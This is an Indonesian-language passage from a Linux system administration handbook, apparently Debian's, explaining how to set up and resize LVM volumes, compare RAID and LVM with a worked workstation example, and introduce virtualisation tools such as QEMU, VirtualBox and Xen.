Yang penting adalah bahwa pemisahan VG ke LV sepenuhnya independen dari komponen fisiknya (PV). VG dengan hanya satu komponen fisik (disk misalnya) dapat dipisah menjadi selusin volume logis; demikian pula, sebuah VG dapat menggunakan beberapa disk fisik dan muncul sebagai satu volume logis yang besar. Satu-satunya kendala, jelas, adalah bahwa ukuran total yang dialokasikan untuk LV tidak bisa lebih dari total kapasitas dari PV dalam kelompok volume.

Namun sering masuk akal untuk memiliki semacam keseragaman antara komponen fisik VG, dan untuk membagi VG menjadi volume logis yang akan memiliki pola penggunaan serupa. Misalnya, jika perangkat keras yang tersedia termasuk disk cepat dan disk lambat, yang cepat dapat dikelompokkan ke satu VG dan yang lambat ke lain; potongan pertama dapat kemudian ditugaskan untuk aplikasi yang membutuhkan akses data yang cepat, sementara yang kedua akan disimpan untuk tugas-tugas yang kurang menuntut.

Dalam kasus apapun, perlu diingat bahwa LV tidak perlu melekat ke PV manapun. Dimungkinkan untuk mempengaruhi mana data dari LV secara fisik disimpan, tapi kemungkinan ini tidak diperlukan untuk penggunaan sehari-hari. Sebaliknya: ketika set komponen fisik VG berkembang, lokasi penyimpanan fisik yang sesuai dengan LV tertentu dapat bermigrasi di seluruh disk (dan tentu saja tetap di dalam PVs yang ditugaskan untuk VG).

12.1.2.2. Menyiapkan LVM

Mari kita sekarang ikuti, langkah demi langkah, proses pengaturan LVM untuk kasus penggunaan yang khas: kami ingin menyederhanakan situasi kompleks penyimpanan. Situasi seperti ini biasanya terjadi setelah beberapa sejarah yang panjang dan berbelit dari akumulasi langkah-langkah sementara. Untuk tujuan ilustrasi, kami akan mempertimbangkan server yang kebutuhan penyimpanannya telah berubah dari waktu ke waktu, berakhir dalam labirin dari partisi-partisi yang terpecah ke beberapa disk yang terpakai sebagian. Secara lebih konkret, partisi berikut tersedia:

- pada disk sdb, sebuah partisi sdb2, 4 GB;

- pada disk sdc, sebuah partisi sdc3, 3 GB;

- disk sdd, 4 GB, sepenuhnya tersedia;

- pada disk sdf, partisi sdf1, 4 GB; dan partisi sdf2, 5 GB.

Selain itu, mari kita asumsikan bahwa disk sdb dan sdf adalah lebih cepat daripada dua lainnya.

Tujuan kami adalah untuk mengatur tiga volume logis untuk tiga aplikasi yang berbeda: server berkas memerlukan ruang penyimpanan 5 GB, sebuah basis data (1 GB) dan ruang untuk back-up (12 GB). Dua yang pertama perlu kinerja yang baik, tapi back-up kurang kritis dalam hal kecepatan akses. Semua kendala ini mencegah penggunaan partisi sendirian; menggunakan LVM dapat mengabstraksi ukuran fisik dari perangkat, sehingga satu-satunya batas adalah jumlah ruang yang tersedia.

Alat-alat yang diperlukan ada dalam paket lvm2 dan dependensinya. Ketika mereka sedang diinstal, pengaturan LVM mengambil tiga langkah, cocok dengan konsep tiga tingkat.

Pertama, kami siapkan volume fisik menggunakan pvcreate:

# pvcreate /dev/sdb2

Physical volume "/dev/sdb2" successfully created.

# pvdisplay

"/dev/sdb2" is a new physical volume of "4.00 GiB"

--- NEW Physical volume ---

PV Name               /dev/sdb2

VG Name

PV Size               4.00 GiB

Allocatable           NO

PE Size               0

Total PE              0

Free PE               0

Allocated PE          0

PV UUID               z4Clgk-T5a4-C27o-1P0E-lIAF-OeUM-e7EMwq

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done

Physical volume "/dev/sdc3" successfully created.

Physical volume "/dev/sdd" successfully created.

Physical volume "/dev/sdf1" successfully created.

Physical volume "/dev/sdf2" successfully created.

# pvdisplay -C

PV         VG Fmt  Attr PSize  PFree

/dev/sdb2     lvm2 ---   4.00g  4.00g

/dev/sdc3     lvm2 ---   3.00g  3.00g

/dev/sdd      lvm2 ---   4.00g  4.00g

/dev/sdf1     lvm2 ---   4.00g  4.00g

/dev/sdf2     lvm2 ---  <5.00g <5.00g

Sejauh ini, masih baik; perhatikan bahwa PV dapat disiapkan pada seluruh disk maupun pada partisi individunya. Seperti yang ditunjukkan di atas, perintah pvdisplay menampilkan daftar PVs yang ada, dengan dua format keluaran mungkin.

Sekarang mari kita merakit elemen-elemen fisik ini menjadi VG menggunakan vgcreate. Kita akan mengumpulkan hanya PV-PV dari disk cepat ke VG vg_critical; VG lain, vg_normal, juga akan memuat elemen-elemen yang lebih lambat.

# vgcreate vg_critical /dev/sdb2 /dev/sdf1

Volume group "vg_critical" successfully created

# vgdisplay

--- Volume group ---

VG Name               vg_critical

System ID

Format                lvm2

Metadata Areas        2

Metadata Sequence No  1

VG Access             read/write

VG Status             resizable

MAX LV                0

Cur LV                0

Open LV               0

Max PV                0

Cur PV                2

Act PV                2

VG Size               7.99 GiB

PE Size               4.00 MiB

Total PE              2046

Alloc PE / Size       0 / 0

Free  PE / Size       2046 / 7.99 GiB

VG UUID               wAbBjx-d82B-q7St-0KFf-z40h-w5Mh-uAXkNZ

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2

Volume group "vg_normal" successfully created

# vgdisplay -C

VG          #PV #LV #SN Attr   VSize   VFree

vg_critical   2   0   0 wz--n-   7.99g   7.99g

vg_normal     3   0   0 wz--n- <11.99g <11.99g

Di sini lagi, perintahnya agak sederhana (dan vgdisplay mengusulkan dua format output). Perhatikan bahwa sangat mungkin untuk menggunakan dua partisi dari disk fisik yang sama ke dua VG yang berbeda. Perhatikan juga bahwa kita menggunakan awalan vg_ untuk nama VG kita, tapi itu tidak lebih dari sebuah konvensi.

Kita sekarang memiliki dua "disk virtual", masing-masing berukuran sekitar 8 GB dan 12 GB. Mari kita sekarang mengukir mereka ke dalam "partisi virtual" (LV). Ini melibatkan perintah lvcreate, dan sintaks yang agak lebih kompleks:

# lvdisplay

# lvcreate -n lv_files -L 5G vg_critical

Logical volume "lv_files" created.

# lvdisplay

--- Logical volume ---

LV Path                /dev/vg_critical/lv_files

LV Name                lv_files

VG Name                vg_critical

LV UUID                W6XT08-iBBx-Nrw2-f8F2-r2y4-Ltds-UrKogV

LV Write Access        read/write

LV Creation host, time debian, 2019-11-30 22:45:46 -0500

LV Status              available

# open                 0

LV Size                5.00 GiB

Current LE             1280

Segments               2

Allocation             inherit

Read ahead sectors     auto

- currently set to     256

Block device           254:0

# lvcreate -n lv_base -L 1G vg_critical

Logical volume "lv_base" created.

# lvcreate -n lv_backups -L 11.98G vg_normal

Rounding up size to full physical extent 11.98 GiB

Logical volume "lv_backups" created.

# lvdisplay -C

LV         VG          Attr     LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync  Convert

lv_base    vg_critical -wi-a---  1.00g

lv_files   vg_critical -wi-a---  5.00g

lv_backups vg_normal   -wi-a--- 11.98g

Dua parameter diperlukan ketika membuat volume logis; mereka harus diberikan ke lvcreate sebagai opsi. Nama LV yang akan dibuat ditetapkan dengan opsi -n, dan ukurannya biasanya diberikan menggunakan opsi -L. Tentu saja kita juga perlu memberitahu ke perintah, VG mana yang dikenai operasi, maka diberikanlah parameter terakhir pada baris perintah.

LEBIH JAUH opsi-opsi lvcreate

Perintah lvcreate memiliki beberapa opsi untuk memungkinkan menala atas bagaimana cara LV dibuat.

Mari kita pertama menjelaskan opsi -l, dengannya ukuran LV dapat diberikan sebagai cacah blok (sebagai lawan dari unit "manusia" yang kita digunakan di atas). Blok-blok ini (disebut PE, physical extents dalam istilah LVM) adalah unit-unit ruang penyimpanan yang bersebelahan di PV, dan mereka tidak dapat dipecah di LV. Ketika seseorang ingin menentukan ruang penyimpanan untuk LV secara cukup presisi, misalnya menggunakan seluruh ruang yang tersedia, opsi -l mungkin akan lebih disukai daripada -L.

Memungkinkan juga untuk menunjuk pada lokasi fisik LV, sehingga extent disimpan pada PV tertentu (tentu saja masih tetap ada di dalam yang ditugaskan untuk VG). Karena kita tahu bahwa sdb lebih cepat daripada sdf, kita mungkin ingin menyimpan lv_base di sana jika kita ingin memberikan keuntungan kepada server basis data dibandingkan dengan server berkas. Baris perintah menjadi: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Perhatikan bahwa perintah ini bisa gagal jika PV tidak memiliki cukup extent bebas. Dalam contoh kita, kita mungkin harus membuat lv_base sebelum lv_files untuk menghindari situasi ini - atau membebaskan sebagian ruang di sdb2 dengan perintah pvmove.

Volume logis, sekali dibuat, akan menjadi berkas perangkat blok dalam /dev/mapper/:

# ls -l /dev/mapper

total 0

crw------- 1 root root 10, 236 Jun 10 16:52 control

lrwxrwxrwx 1 root root       7 Jun 10 17:05 vg_critical-lv_base -> ../dm-1

lrwxrwxrwx 1 root root       7 Jun 10 17:05 vg_critical-lv_files -> ../dm-0

lrwxrwxrwx 1 root root       7 Jun 10 17:05 vg_normal-lv_backups -> ../dm-2

# ls -l /dev/dm-*

brw-rw---T 1 root disk 253, 0 Jun 10 17:05 /dev/dm-0

brw-rw---- 1 root disk 253, 1 Jun 10 17:05 /dev/dm-1

brw-rw---- 1 root disk 253, 2 Jun 10 17:05 /dev/dm-2

CATATAN Mendeteksi otomatis volume LVM

Ketika komputer boot, unit layanan systemd lvm2-activation mengeksekusi vgchange -aay untuk "mengaktifkan" kelompok volume: memindai perangkat yang tersedia; yang telah diinisialisasi sebagai fisik untuk LVM didaftarkan ke subsistem LVM, yang berasal dari kelompok-kelompok volume dirakit, dan volume logis yang relevan dimulai dan dibuat tersedia. Karena itu tidak perlu menyunting berkas konfigurasi ketika membuat atau memodifikasi volume-volume LVM.

Namun, perlu diketahui bahwa tata letak elemen LVM (volume fisik dan logis, dan kelompok-kelompok volume) direkam cadang dalam /etc/lvm/backup, yang dapat berguna dalam hal ada masalah (atau hanya untuk sekedar mengintip di balik layar).

Untuk membuat semua lebih mudah, taut simbolik juga dibuat dalam direktori-direktori yang cocok dengan VG:

# ls -l /dev/vg_critical

total 0

lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_base -> ../dm-1

lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_files -> ../dm-0

# ls -l /dev/vg_normal

total 0

lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_backups -> ../dm-2

LV kemudian dapat digunakan persis seperti partisi standar:

# mkfs.ext4 /dev/vg_normal/lv_backups

mke2fs 1.44.5 (15-Dec-2018)

Discarding device blocks: done

Creating filesystem with 3140608 4k blocks and 786432 inodes

Filesystem UUID: b9e6ed2f-cb37-43e9-87d8-e77568446225

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocating group tables: done

Writing inode tables: done

Creating journal (16384 blocks): done

Writing superblocks and filesystem accounting information: done

# mkdir /srv/backups

# mount /dev/vg_normal/lv_backups /srv/backups

# df -h /srv/backups

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_normal-lv_backups   12G   41M   12G   1% /srv/backups

# [...]

[...]

# cat /etc/fstab

[...]

/dev/vg_critical/lv_base    /srv/base       ext4 defaults 0 2

/dev/vg_critical/lv_files   /srv/files      ext4 defaults 0 2

/dev/vg_normal/lv_backups   /srv/backups    ext4 defaults 0 2

Dari sudut pandang aplikasi, berbagai partisi kecil sekarang telah diabstrakkan ke dalam satu volume 12 GB besar, dengan nama yang lebih mudah.

12.1.2.3. LVM Dari Waktu Ke Waktu

Meskipun kemampuan untuk mengagregasi partisi atau disk fisik itu nyaman, ini bukanlah keuntungan utama yang dibawa oleh LVM. Fleksibilitas yang dibawanya terutama teramati seiring berjalannya waktu, ketika kebutuhan berevolusi. Dalam contoh kita, mari kita asumsikan bahwa berkas besar baru harus disimpan, dan bahwa LV yang didedikasikan untuk server berkas terlalu kecil untuk menampung mereka. Karena kita belum menggunakan seluruh ruang yang tersedia di vg_critical, kita bisa perbesar lv_files. Untuk tujuan tersebut, kita akan menggunakan perintah lvresize, lalu resize2fs untuk mengadaptasi sistem berkas:

# df -h /srv/files/

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files  4.9G  4.2G  485M  90% /srv/files

# lvdisplay -C vg_critical/lv_files

LV       VG          Attr     LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync  Convert

lv_files vg_critical -wi-ao-- 5.00g

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize VFree

vg_critical   2   2   0 wz--n- 7.99g 1.99g

# lvresize -L 6G vg_critical/lv_files

Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 6.00 GiB (1536 extents).

Logical volume vg_critical/lv_files successfully resized.

# lvdisplay -C vg_critical/lv_files

LV       VG          Attr       LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync Convert

lv_files vg_critical -wi-ao---- 6.00g

# resize2fs /dev/vg_critical/lv_files

resize2fs 1.44.5 (15-Dec-2018)

Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required

old_desc_blocks = 1, new_desc_blocks = 1

The filesystem on /dev/vg_critical/lv_files is now 1572864 (4k) blocks long.

# df -h /srv/files/

Filesystem                        Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_files  5.9G  4.2G  1.5G  75% /srv/files

HATI-HATI Mengubah ukuran sistem berkas

Tidak semua sistem berkas dapat diubah ukurannya secara daring; mengubah ukuran volume oleh karena itu mungkin pertama memerlukan melepas kait sistem berkas dan mengait ulang setelah itu. Tentu saja, jika seseorang ingin mengecilkan ruang yang dialokasikan untuk LV, sistem berkas harus diperkecil dulu; urutan dibalik ketika perubahan ukuran untuk arah lain: volume logis harus diperbesar sebelum sistem berkas di atasnya. Hal ini cukup sederhana, karena kapanpun ukuran sistem tidak boleh lebih besar dari perangkat blok tempat dia berada (apakah perangkat berupa partisi fisik atau volume logis).

Sistem berkas ext3, ext4, dan xfs dapat diperbesar secara daring, tanpa melepas kain; menyusutkan memerlukan melepas kait. Sistem berkas reiserfs memungkinkan perubahan ukuran secara daring di kedua arah. ext2 tidak memungkinkan keduanya, dan selalu membutuhkan melepas kait.

Kita bisa melanjutkan dengan cara yang sama untuk memperbesar volume yang mewadai basis data, tapi kita telah mencapai batas ruang VG yang tersedia:

# df -h /srv/base/

Filesystem                       Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base  976M  882M   28M  97% /srv/base

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize VFree

vg_critical   2   2   0 wz--n- 7.99g 1016.00m

Tidak masalah, karena LVM memungkinkan menambahkan volume fisik ke grup volume yang ada. Misalnya, mungkin kita telah memperhatikan bahwa partisi sdb1, yang sejauh ini digunakan di luar LVM, hanya berisi arsip yang dapat dipindahkan ke lv_backups. Kita sekarang dapat mendaur ulang itu dan mengintegrasikannya ke grup volume, dan dengan demikian memperoleh kembali ruang bebas. Ini adalah tujuan dari perintah vgextend. Tentu saja, partisi harus disiapkan sebagai sebuah volume fisik terlebih dahulu. Setelah VG telah diperbesar, kita dapat menggunakan perintah sejenis seperti yang sebelumnya untuk menumbuhkan volume logis kemudian sistem berkasnya:

# pvcreate /dev/sdb1

Physical volume "/dev/sdb1" successfully created.

# vgextend vg_critical /dev/sdb1

Volume group "vg_critical" successfully extended

# vgdisplay -C vg_critical

VG          #PV #LV #SN Attr   VSize  VFree

vg_critical   3   2   0 wz--n- <9.99g <1.99g

# [...]

[...]

# df -h /srv/base/

Filesystem                       Size  Used Avail Use% Mounted on

/dev/mapper/vg_critical-lv_base  2.0G  882M  994M  48% /srv/base

LEBIH JAUH LVM tingkat lanjut

LVM juga melayani untuk penggunaan tingkat lanjut, dimana banyak rincian dapat dinyatakan secara manual. Misalnya, administrator dapat menala ukuran blok yang membuat volume fisik dan logis, serta letak fisik mereka. Juga mungkin untuk memindahkan blok di PV, misalnya untuk menala halus kinerja atau, dalam cara yang lebih biasa, untuk membebaskan PV ketika kita perlu mengekstrak disk fisik yang sesuai dari VG (baik untuk mempengaruhi bagi VG lain atau menghapusnya dari LVM sama sekali). Halaman manual yang menguraikan perintah umumnya jelas dan rinci. Titik awal yang baik adalah halaman manual lvm(8).

12.1.3. RAID atau LVM?

RAID dan LVM keduanya membawa keuntungan tak terbantahkan bila kita abaikan kasus sederhana komputer desktop dengan satu hard disk dengan pola penggunaan tidak berubah dari waktu ke waktu. Namun, RAID dan LVM mengambil arah yang berbeda, dengan tujuan divergen, dan sah-sah saja bertanya-tanya mana yang harus diambil. Jawaban paling tepat akan tentu saja tergantung pada kebutuhan saat ini dan masa mendatang.

Ada beberapa kasus sederhana dimana pertanyaan tidak benar-benar muncul. Jika kebutuhan adalah untuk mengamankan data terhadap kegagalan perangkat keras, maka jelas RAID akan disiapkan pada array disk, karena LVM tidak benar-benar menjawab masalah ini. Si sisi lain, jika kebutuhan adalah untuk skema penyimpanan yang fleksibel dimana volume dibuat independen terhadap tata letak fisik dari disk, RAID tidak banyak membantu dan LVM akan menjadi pilihan yang tepat.

CATATAN Jika kinerja penting…

Jika kecepatan masukan/keluar adalah esensinya, terutama dalam hal waktu akses, menggunakan LVM dan/atau RAID di salah satu dari banyak kombinasi mungkin memiliki dampak pada kinerja, dan ini mungkin mempengaruhi keputusan untuk memilih yang mana. Namun, perbedaan-perbedaan dalam kinerja benar-benar kecil, dan hanya terukur dalam beberapa kasus penggunaan. Jika kinerja penting, keuntungan terbaik yang diperoleh adalah menggunakan media penyimpanan bukan rotasi ( solid-state drive); biaya per megabyte mereka lebih tinggi daripada hard disk drive standar, dan kapasitas mereka biasanya lebih kecil, tapi mereka memberikan kinerja yang sangat baik untuk akses acak. Jika pola penggunaan mencakup banyak operasi keluaran/masukan yang terpencar di seluruh sistem berkas, misalnya untuk basis data tempat query-query yang kompleks rutin dijalankan, maka keuntungan dari menjalankan mereka pada SSD jauh lebih besar daripada apa pun yang bisa diperoleh dengan memilih LVM atas RAID atau sebaliknya. Dalam situasi ini, pilihan harus ditentukan oleh pertimbangan selain murni kecepatan, karena aspek kinerja paling mudah ditangani dengan menggunakan SSD.

Use case ketiga yang menarik adalah ketika seseorang hanya ingin mengagregat dua disk ke dalam satu volume, baik untuk alasan kinerja atau memiliki sistem berkas tunggal yang lebih besar daripada salah satu disk yang tersedia. Hal ini dapat dijawab oleh RAID 0 (atau bahkan linear-RAID) maupun dengan volume LVM. Dalam situasi ini, dan tanpa batasan tambahan kendala (misalnya, menjaga sejalan dengan sisa komputer jika mereka hanya menggunakan RAID), konfigurasi pilihan akan seringkali adalah LVM. Penyiapan awal hampir tidak lebih kompleks, dan bahwa sedikit peningkatan kompleksitas terbayar oleh fleksibilitas tambahan yang dibawah oleh LVM jika persyaratan berubah atau jika disk baru perlu ditambahkan.

Kemudian tentu saja, ada kasus penggunaan yang benar-benar menarik, dimana sistem penyimpanan perlu dibuat tahan terhadap kegagalan perangkat keras dan fleksibel tentang alokasi volume. RAID maupun LVM masing-masing dapat menjawab kedua persyaratan; ini adalah di mana kita menggunakan keduanya pada saat yang sama -- atau lebih tepatnya, satu di atas yang lain. Skema yang memiliki semua tapi belum menjadi standar karena RAID dan LVM telah mencapai kedewasaan untuk memastikan redundansi data pertama dengan pengelompokan disk dalam sejumlah kecil larik RAID besar, dan menggunakan larik RAID ini sebagai volume fisik LVM; partisi logis kemudian dapat ditoreh dari LV-LV ini untuk sistem berkas. Nilai jual konfigurasi ini adalah bahwa ketika sebuah disk gagal, hanya sejumlah kecil larik RAID yang perlu dibangun kembali, sehingga membatasi waktu yang dihabiskan oleh administrator untuk pemulihan.

Mari kita ambil contoh konkret: departemen hubungan masyarakat di Falcot Corp memerlukan sebuah workstation untuk penyuntingan video, tapi anggaran departemen tidak mengizinkan berinvestasi di perangkat keras kelas tinggi secara lengkap. Keputusan dibuat untuk mendukung perangkat keras yang khusus untuk sifat grafis pekerjaan (monitor dan kartu video), dan tetap dengan perangkat keras generik untuk penyimpanan. Namun, seperti sudah dikenal luas, video digital memiliki beberapa persyaratan khusus untuk penyimpanan: banyaknya data yang akan disimpan besar, dan kecepatan pembacaan dan penulisan data ini penting untuk keseluruhan kinerja sistem (lebih daripada waktu akses rata-rata, misalnya). Batasan-batasn ini perlu dipenuhi dengan perangkat keras generik, dalam kasus ini dua hard disk drive SATA 300 GB; data sistem juga harus dibuat tahan terhadap kegagalan perangkat keras, termasuk sebagian data pengguna. Klip video yang diedit memang harus aman, tetapi tidak perlu bergegas menyunting video yang tertunda, karena mereka masih berada pada kaset.

RAID-1 dan LVM digabungkan untuk memenuhi batasan-batasan ini. Disk dilekatkan pada dua pengendali SATA yang berbeda untuk mengoptimalkan akses paralel dan mengurangi risiko kegagalan simultan, dan karena itu mereka muncul sebagai sda dan sdc. Mereka dipartisi secara identik mengikut skema sebagai berikut:

# fdisk -l /dev/sda

Disk /dev/sda: 300 GB, 300090728448 bytes, 586114704 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: 0x00039a9f

Device    Boot     Start       End   Sectors Size Id Type

/dev/sda1 *         2048   1992060   1990012 1.0G fd Linux raid autodetect

/dev/sda2        1992061   3984120   1992059 1.0G 82 Linux swap / Solaris

/dev/sda3        4000185 586099395 582099210 298G 5  Extended

/dev/sda5        4000185 203977305 199977120 102G fd Linux raid autodetect

/dev/sda6      203977306 403970490 199993184 102G fd Linux raid autodetect

/dev/sda7      403970491 586099395 182128904  93G 8e Linux LVM

- Partisi pertama dari kedua disk (sekitar 1 GB) dirakit menjadi volume RAID-1, md0. Cermin ini langsung digunakan untuk menyimpan sistem berkas root.

- Partisi sda2 dan sdc2 digunakan sebagai partisi swap, menyediakan total 2 GB ruang swap. Dengan RAM 1 GB, workstation memiliki sejumlah memori tersedia yang nyaman.

- sda5 dan partisi sdc5, serta sda6 dan sdc6, dirakit menjadi dua volume RAID-1 baru masing-masing sekitar 100 GB, md1 dan md2 . Kedua cermin diinisialisasi sebagai volume fisik untuk LVM, dan ditugaskan ke grup volume vg_raid. Maka VG ini berisi ruang sekitar 200 GB yang aman.

- Sisa partisi, sda7 dan sdc7, langsung digunakan sebagai volume fisik, dan ditugaskan untuk VG lain yang disebut vg_bulk, yang karena itu menjadi ruang sekitar 200 GB.

Setelah VGs dibuat, mereka dapat dipartisi dengan cara yang sangat fleksibel. Harus tetap diingat bahwa LV yang dibuat dalam vg_raid akan dipertahankan bahkan jika salah satu disk gagal, yang tidak akan terjadi untuk LV dibuat di vg_bulk; di sisi lain, yang kedua akan dialokasikan secara paralel pada kedua disk, yang memungkinkan kecepatan baca atau tulis yang lebih tinggi untuk berkas-berkas besar.

Karena itu kita akan membuat LV lv_var, dan lv_home pada vg_raid, untuk mewadahi sistem berkas yang cocok; LV besar lain, lv_movies, akan digunakan untuk mewadahi film-film versi definitif setelah penyuntingan. VG lain akan dibagi menjadi lv_rushesyang besar, untuk data langsung dari kamera video digital, dan lv_tmp untuk berkas-berkas sementara. Lokasi area kerja adalah pilihan yang kurang mudah untuk dibuat: sementara kinerja yang baik diperlukan untuk volume itu, apakah layak risiko kehilangan pekerjaan jika disk gagal selama sesi menyunting? Tergantung pada jawaban untuk pertanyaan itu, LV yang relevan akan dibuat pada satu VG atau yang lain.

Kita sekarang memiliki sebagian redundansi untuk data penting dan banyak fleksibilitas dalam bagaimana ruang yang tersedia dibagi atas berbagai aplikasi.

CATATAN Mengapa tiga volume RAID-1?

Kita bisa saja menyiapkan hanya satu volume RAID-1, untuk melayani sebagai volume fisik bagi vg_raid. Lalu mengapa membuat tiga?

Alasan untuk pemecahan pertama (md0 vs yang lain) adalah tentang keamanan data: data yang ditulis ke kedua elemen dari cermin RAID 1 persis sama, dan karena itu mungkin untuk melewati lapisan RAID dan mengait salah satu disk secara langsung. Dalam kasus bug kernel, misalnya, atau jika metadata LVM menjadi rusak, itu masih mungkin untuk mem-boot sistem minimal untuk mengakses data penting seperti tata letak disk dalam RAID dan volume LVM; metadata dapat kemudian direkonstruksi dan berkas dapat diakses lagi, sehingga sistem dapat dibawa kembali ke keadaan nominal.

Alasan untuk pemecahan kedua (md1 vs md2) kurang jelas, dan lebih berkaitan dengan mengakui bahwa masa depan itu tidak pasti. Ketika workstation pertama dirakit, persyaratan penyimpanan yang eksak tidak selalu diketahui dengan ketepatan yang sempurna; mereka juga dapat berkembang dari waktu ke waktu. Dalam kasus kita, kita tidak dapat mengetahui terlebih dahulu persyaratan ruang penyimpanan sebenarnya untuk video yang buru-buru dan klip video yang lengkap. Jika satu klip tertentu membutuhkan sejumlah yang sangat besar pekerjaan buru-buru, dan VG yang didedikasikan untuk data redundan masih terisi kurang dari setengah, kita dapat memakai kembali ruang yang tidak dibutuhkan. Kita dapat menghapus salah satu volume fisik, misalnya md2, dari vg_raid dan menambahkannya ke vg_bulk secara langsung (jika durasi operasi yang diharapkan cukup singkat sehingga kita dapat hidup dengan penurunan kinerja sementara), atau membatalkan setup RAID pada md2 dan mengintegrasikan komponen sda6 dan sdc6 ke VG curah (yang tumbuh 200 GB, bukan 100 GB); volume logis lv_rushes dapat kemudian ditumbuhkan sesuai kebutuhan.

12.2. Virtualisasi

Virtualisasi adalah salah satu kemajuan yang paling besar dalam beberapa tahun terakhir komputasi. Istilah ini mencakup berbagai abstraksi dan teknik simulasi komputer virtual dengan tingkat kebebasan yang variabel pada perangkat keras sebenarnya. Satu server fisik kemudian dapat mewadahi beberapa sistem yang bekerja pada waktu yang sama dan dalam isolasi. Ada banyak aplikasi, dan sering diturunkan dari isolasi ini: lingkungan uji dengan berbagai konfigurasi misalnya, atau pemisahan layanan kebeberapa mesin virtual untuk keamanan.

Ada beberapa solusi virtualisasi, masing-masing dengan pro dan kontra. Buku ini akan fokus pada Xen, LXC, dan KVM, tetapi implementasi penting lain adalah sebagai berikut:

- QEMU adalah emulator perangkat lunak untuk sebuah komputer lengkap; kinerja jauh dari kecepatan yang bisa dicapai ketika berjalan secara native, tetapi ini memungkinkan menjalankan sistem operasi tanpa perubahan atau eksperimental pada perangkat keras yang diemulasi. Hal ini juga memungkinkan mengemulasi arsitektur perangkat keras yang berbeda: sebagai contoh, sistem amd64 bisa mengemulasi komputer arm. QEMU adalah perangkat lunak bebas.
→ https://www.qemu.org/

- Bochs adalah mesin virtual lain yang bebas, tapi itu hanya mengemulasi arsitektur x86 (i386 dan amd64).

- VMWare adalah sebuah mesin virtual yang proprietari; salah satu yang tertua di luar sana, itu juga satu dari yang paling dikenal. Itu bekerja dengan prinsip yang serupa dengan QEMU. VMWare menyediakan fitur-fitur tingkat lanjut seperti membuat snapshot dari sebuah mesin virtual yang sedang berjalan.
→ https://www.vmware.com/

- VirtualBox adalah sebuah mesin virtual yang sebagian besar perangkat lunak bebas (beberapa komponen ekstra tersedia di bawah lisensi proprietari). Sayang sekali itu ada di bagian "contrib" Debian karena menyertakan beberapa berkas terprakompilasi yang tidak dapat dibangun ulang tanpa suatu kompiler proprietari dan saat ini hanya ada di Debian Unstable karena kebijakan Oracle membuatnya tidak mungkin menjaganya tetap aman dalam suatu rilis stable Debian (lihat #794466). Walaupun lebih muda daripada VMWare dan terbatas pada arsitektur i386 dan amd64, itu masih punya snapshot dan beberapa fitur menarik lainnya.
→ https://www.virtualbox.org/

PERANGKAT KERAS Dukungan virtualisasi

Beberapa komputer mungkin tidak memiliki dukungan virtualisasi perangkat keras; ketika ada, itu harus diaktifkan di BIOS.

Untuk mengetahui apakah dukungan virtualisasi Anda diaktifkan, Anda dapat memeriksa apakah flag yang relevan diaktifkan dengan grep. Jika perintah berikut untuk prosesor Anda mengembalikan teks, dukungan virtualisasi Anda sudah diaktifkan:

- Untuk prosesor Intel Anda dapat mengeksekusi grep vmx /proc/cpuinfo

- Untuk prosesor AMD Anda dapat menjalankan grep svm /proc/cpuinfo

12.2.1. Xen

Xen adalah sebuah solusi "paravirtualization". Ini memperkenalkan lapisan abstraksi tipis, dinamai "hypervisor", antara perangkat keras dan sistem di atas; ini bekerja sebagai wasit yang mengendalikan akses ke perangkat keras dari mesin-mesin virtual. Namun, itu hanya menangani beberapa instruksi, sisanya dieksekusi secara langsung oleh perangkat keras atas nama sistem. Keuntungan utama adalah kinerja tidak menurun, dan sistem berjalan mendekati kecepatan native; kekurangannya adalah kernal dari sistem operasi yang ingin dipakai pada suatu hypervisor Xen perlu diadaptasi untuk berjalan pada Xen.

Mari kita bahas sejenak istilah-istilah. Hypervisor adalah lapisan terendah, yang berjalan langsung pada perangkat keras, bahkan di bawah kernel. Hypervisor ini dapat membagi sisa perangkat lunak di beberapa domain, yang dapat dilihat sebagai banyak mesin virtual. Salah satu domain (yang pertama dimulai) dikenal sebagai dom0, dan memiliki peran khusus, karena hanya domain ini dapat mengontrol hypervisor dan eksekusi domain lainnya. Domain lain tersebut dikenal sebagai domU. Dengan kata lain, dan dari sudut pandang pengguna, dom0 adalah "host" sistem virtualisasi lain, sementara domU dapat dilihat sebagai "tamu".

KULTUR Xen dan berbagai versi Linux

Xen ini awalnya dikembangkan sebagai seperangkat patch yang berada di luar pohon resmi, dan tidak terintegrasi ke kernel Linux. Pada saat yang sama, beberapa sistem virtualisasi mendatang (termasuk KVM) memerlukan beberapa fungsi generik terkait virtualisasi untuk memfasilitasi integrasi mereka, dan kernel Linux memperoleh set fungsi (dikenal sebagai antarmuka paravirt_ops atau pv_ops). Karena patch Xen menduplikasi beberapa fungsionalitas antar muka ini, mereka tidak bisa diterima secara resmi.

XenSource, perusahaan di belakang Xen, karena itu harus mem-port Xen ke kerangka baru ini, sehingga patch Xen bisa digabungkan ke kernel Linux resmi. Itu berarti banyak penulisan ulang kode, dan meskipun Xensource segera memiliki versi yang bekerja berdasarkan antarmuka paravirt_ops, patch hanya digabungkan ke dalam kernel resmi secara progresif. Penggabungan selesai pada Linux 3.0.

→ https://wiki.xenproject.org/wiki/XenParavirtOps

